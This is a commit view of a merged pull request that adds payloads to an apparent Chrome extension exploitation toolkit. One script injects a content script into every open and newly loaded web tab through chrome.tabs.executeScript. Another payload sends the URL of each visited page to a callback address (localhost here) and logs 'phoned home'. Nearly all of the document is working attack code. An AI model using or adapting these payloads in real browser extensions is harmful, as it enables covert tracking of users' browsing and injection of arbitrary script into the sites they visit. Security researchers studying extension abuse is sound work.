Merge pull request #986 from koto/master
Added payloads for Chrome extensions injector
This commit is contained in:
2
tools/chrome_extensions_exploitation/payloads/cs.js
Normal file
2
tools/chrome_extensions_exploitation/payloads/cs.js
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
// sample payload
|
||||||
|
console.log(location.href);
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
// add a /cs.js file to extension and have it run in a content script on every tab
|
||||||
|
var INJECTOR_CS_PAYLOAD = '/cs.js';
|
||||||
|
// requires tabs permissions
|
||||||
|
|
||||||
|
chrome.tabs.query({}, function (tabs) {
|
||||||
|
for (var i = 0; i < tabs.length; i++) {
|
||||||
|
if (tabs[i].url.match('^http')) {
|
||||||
|
chrome.tabs.executeScript(tabs[i].id, {
|
||||||
|
allFrames: true,
|
||||||
|
file: INJECTOR_CS_PAYLOAD});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
);
|
||||||
|
|
||||||
|
chrome.tabs.onUpdated.addListener( function (tabId, changeInfo, tab) {
|
||||||
|
if (changeInfo.status == 'complete' && tab.url.match('^http')) {
|
||||||
|
chrome.tabs.executeScript(tabId, {
|
||||||
|
allFrames: true,
|
||||||
|
file: INJECTOR_CS_PAYLOAD
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
var x = new XMLHttpRequest();
|
||||||
|
x.open('get', 'http://localhost/?url=' + encodeURIComponent(location.href), true);
|
||||||
|
x.onload = x.onerror = function() {
|
||||||
|
console.log('phoned home');
|
||||||
|
}
|
||||||
|
x.send(null);
|
||||||
Reference in New Issue
Block a user